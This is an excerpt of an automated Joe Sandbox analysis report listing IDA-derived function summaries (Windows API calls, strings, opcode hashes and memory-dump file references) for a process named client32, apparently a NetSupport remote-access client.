Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: d7d6f64767123ac77c136828f01cb5bd314f94f82baacbae38736d6303a924a1
Instruction ID: dd821a99022cde097cd1ec77f7d6b518f4175877e7151a46883bfd48cbb137af
Opcode Fuzzy Hash: d7d6f64767123ac77c136828f01cb5bd314f94f82baacbae38736d6303a924a1
Instruction Fuzzy Hash: FE21A172E0031BABD721DA65CC85FEFB3F8AB44308F908469EA16D6180FB75E401CB95

Function 11023340 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11023357
GetDlgItem.USER32(?,00001399), ref: 11023391
TranslateMessage.USER32(?), ref: 110233AA
DispatchMessageA.USER32(?), ref: 110233B4
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110233F6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: 019aa6c52c83fe1587ed026a258feb73206e87ad09fcf7719039eca06c41a3d5
Instruction ID: 2fe2671c3d0e180fd010d3a1df99b375ee62fb8f5781d26c5d033f692c44979c
Opcode Fuzzy Hash: 019aa6c52c83fe1587ed026a258feb73206e87ad09fcf7719039eca06c41a3d5
Instruction Fuzzy Hash: A4218475E0430BABD715DE61CC84BAFB7E8AB48708F808469E615D6280FB74E501CB91

Function 1115F184 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1115F192

Part of subcall function 1115F231: __FF_MSGBANNER.LIBCMT ref: 1115F24A
Part of subcall function 1115F231: __NMSG_WRITE.LIBCMT ref: 1115F251
Part of subcall function 1115F231: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F276

_free.LIBCMT ref: 1115F1A5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 2959f60e4fa097399b3fb4aa6cbfe99758112040b2c8355d508159745f45fdec
Instruction ID: 8ef5febc85f3c3005cccfb621df11dc0bc5143e6f1d96612d99b576177750d1c
Opcode Fuzzy Hash: 2959f60e4fa097399b3fb4aa6cbfe99758112040b2c8355d508159745f45fdec
Instruction Fuzzy Hash: A811E73A404317AFC7D22F74D944A89FB99AB872BDB214625E8789A140FF71D850C7A2

Function 1103F070 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 1103EF50: DeleteObject.GDI32(?), ref: 1103F03B

CreateRectRgnIndirect.GDI32(?), ref: 1103F0B8
CombineRgn.GDI32(?,?,00000000,00000002), ref: 1103F0CC
DeleteObject.GDI32(00000000), ref: 1103F0D3
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 1103F0F6
CombineRgn.GDI32(00000000,00000000,00000000,00000002), ref: 1103F10D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CombineCreateDeleteObjectRect$Indirect
String ID:
API String ID: 3044651595-0
Opcode ID: 1250bfdb64eb9f94442feb870266ab3da7c928c1294f43dacfd40da9a11fa5ee
Instruction ID: 1a364b5fc304c635043762898c597e59b047f122490fce8353d5272088783a6d
Opcode Fuzzy Hash: 1250bfdb64eb9f94442feb870266ab3da7c928c1294f43dacfd40da9a11fa5ee
Instruction Fuzzy Hash: 93113031610716AFE721CF64D888B9AF7ECFB44716F10852AF65992180C7B4B891CB53

Function 111250D0 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 111250E6
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,11125158), ref: 111250F0
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11125106
DispatchMessageA.USER32(?), ref: 11125126
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11125132

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchEventPeek
String ID:
API String ID: 364732842-0
Opcode ID: 5ad8bfb49ac7d59e32d7b905cfdba81bb0cd946d71ecb53c76356831993baebd
Instruction ID: 401f307c2c94076a39d8d078573f3404814d65017b221973c2865d559fe2622e
Opcode Fuzzy Hash: 5ad8bfb49ac7d59e32d7b905cfdba81bb0cd946d71ecb53c76356831993baebd
Instruction Fuzzy Hash: 13018676A4031A7AE620DB648CC5FEFB36CAB88B04F608515F711E61C4EBA5A40587B5

Function 110F1150 Relevance: 7.5, APIs: 5, Instructions: 45pipesleepCOMMON

Download Yara Rule

APIs

SetNamedPipeHandleState.KERNEL32(00000000,?,00000000,00000000,?,?,?,110F3729), ref: 110F1165
ConnectNamedPipe.KERNEL32(00000000,00000000,?,?,110F3729), ref: 110F117A
GetLastError.KERNEL32(?,?,110F3729), ref: 110F1180
Sleep.KERNEL32(00000064,?,?,110F3729), ref: 110F118F
SetNamedPipeHandleState.KERNEL32(00000000,00000003,00000000,00000000,?,?,110F3729), ref: 110F11B2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: NamedPipe$HandleState$ConnectErrorLastSleep
String ID:
API String ID: 218362120-0
Opcode ID: 9850f56a1599dc2a962c7a37a21bece10aeeb32bcd66ca553bf2f42e1ffa4245
Instruction ID: 6ee21beba1760f45e9f8cec65114d0dbea81b9e5318c91d2c7bc8e21aa276647
Opcode Fuzzy Hash: 9850f56a1599dc2a962c7a37a21bece10aeeb32bcd66ca553bf2f42e1ffa4245
Instruction Fuzzy Hash: 57018134A4121AABF701CE95CC8ABADB7ADEB09705F6080A9FE14C2180D775591087A2

Function 11021220 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11021282
IsWindowVisible.USER32(00000000), ref: 11021353
wsprintfA.USER32 ref: 11021397

Strings

%d,%d,%d,%d,%d,%d, xrefs: 11021391

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$VisibleWindow
String ID: %d,%d,%d,%d,%d,%d
API String ID: 1671172596-1913222166
Opcode ID: 1cf097080c3948f11b550a0d32a02418d5136d11a7a480883b8e5da967e29876
Instruction ID: c0b1bfd60db8ea846a02fb21d77ba8b3541d272f91279fef7d752b1a32b6e992
Opcode Fuzzy Hash: 1cf097080c3948f11b550a0d32a02418d5136d11a7a480883b8e5da967e29876
Instruction Fuzzy Hash: 5B518E74700215AFD710DB68CC80FAAB7F9BF88704F508699F5599B281DA70ED45CBA1

Function 110353F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110353FF
EnumChildWindows.USER32(?,Function_00034F70), ref: 1103543C

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Part of subcall function 110336A0: IsWindow.USER32(?), ref: 110336A8
Part of subcall function 110336A0: GetWindowLongA.USER32(?,000000F0), ref: 110336BB

Strings

CltAutoLogon.cpp, xrefs: 1103540E
IsWindow(hDia), xrefs: 11035413

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ChildEnumErrorExitLastLongMessageProcessWindowswsprintf
String ID: CltAutoLogon.cpp$IsWindow(hDia)
API String ID: 2743442841-2884807542
Opcode ID: 4f47a6dab0597b217eab1570d1d0e60e3f06aeaefd30661ab1b918f393bfedee
Instruction ID: 0552c7f017c3514978327315baee9e319998e0a8661fcc968f340ecf3ad08a18
Opcode Fuzzy Hash: 4f47a6dab0597b217eab1570d1d0e60e3f06aeaefd30661ab1b918f393bfedee
Instruction Fuzzy Hash: B341DFB5E207059FC324DF24D980A9BBBE4BF8031AF40846DD84A87A60EB36B544CB91

Function 110392F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11039312

Part of subcall function 1115F6F6: __getptd.LIBCMT ref: 1115F714

_strtok.LIBCMT ref: 11039393

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

CLTCONN.CPP, xrefs: 11039347
; >, xrefs: 11039309, 1103938C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$ErrorExitLastMessageProcess__getptdwsprintf
String ID: ; >$CLTCONN.CPP
API String ID: 3120919156-788487980
Opcode ID: 42def418177b26b42b569aeb5afc63741fc081657c7277bf9c5a1f563ff1f739
Instruction ID: 37b2c76987e9bea4502ba12e7be251a42b12e1ded06819727bb841ad050c2350
Opcode Fuzzy Hash: 42def418177b26b42b569aeb5afc63741fc081657c7277bf9c5a1f563ff1f739
Instruction Fuzzy Hash: 9C210AB5F1424B6FE700CEA98C40B9E77D88F85369F544065FD589B381F6B5AD0183E2

Function 110310B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(8F98CBB2,00000000,00000006,8F98CBB2,111871DB,000000FF,?,11066248,NSMWClass,8F98CBB2,?,1106DBC8), ref: 110310EA
__strdup.LIBCMT ref: 11031135

Part of subcall function 11030FF0: LoadLibraryA.KERNEL32(Kernel32.dll,8F98CBB2,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 11031022
Part of subcall function 11030FF0: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,1117BA88,000000FF,?,110310FB), ref: 11031060
Part of subcall function 11030FF0: GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 1103106E
Part of subcall function 11030FF0: FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,1117BA88,000000FF,?,110310FB), ref: 11031094

Strings

NSMWClassVista, xrefs: 1103112F, 11031134, 11031158
NSMWClass, xrefs: 110310FF

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCurrentFreeLoadProcProcessVersion__strdup
String ID: NSMWClass$NSMWClassVista
API String ID: 319803333-889775840
Opcode ID: f638956aa4dece95ba3a78df9b533ab48320370d8d8aaecfe8c247b0af8f94f7
Instruction ID: 8ed169892bd05ae0f2ba101611ccc823f044e8f8029700b84612b42e89e6b33e
Opcode Fuzzy Hash: f638956aa4dece95ba3a78df9b533ab48320370d8d8aaecfe8c247b0af8f94f7
Instruction Fuzzy Hash: A5210231E242859FD701CF288C407EAFBFAAB8A625F4089AADC55C7680F736D805C750

Function 110A93A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(80000000,SysListView32,11190240,?,?,?,?,00000000,80000000,?,00000000,00000000), ref: 110A9408

Strings

SysListView32, xrefs: 110A9402
..\ctl32\listview.cpp, xrefs: 110A941A
m_hWnd, xrefs: 110A941F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: ..\ctl32\listview.cpp$SysListView32$m_hWnd
API String ID: 716092398-3171529584
Opcode ID: 8cb23b2ccff900834f297a12d5cc3a6fd1e63f737428cf0075ef8449666e58c1
Instruction ID: 6c2e016e5f7cafaf54bb9fccc1446880b2c21c6b8d6acc3cfcab57880417475b
Opcode Fuzzy Hash: 8cb23b2ccff900834f297a12d5cc3a6fd1e63f737428cf0075ef8449666e58c1
Instruction Fuzzy Hash: 04216F79600216AFD710DF55D884F9BB7E9AF88318F10C61DF95997281DB74E980CBA0

Function 111252F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF980: InitializeCriticalSection.KERNEL32(00000010,00000000,11125331,8F98CBB2,00000002,76232EE0), ref: 110CF98D

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,8F98CBB2,00000002,76232EE0), ref: 1112534A
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11125357

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112539E

Strings

.#v, xrefs: 1112530E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
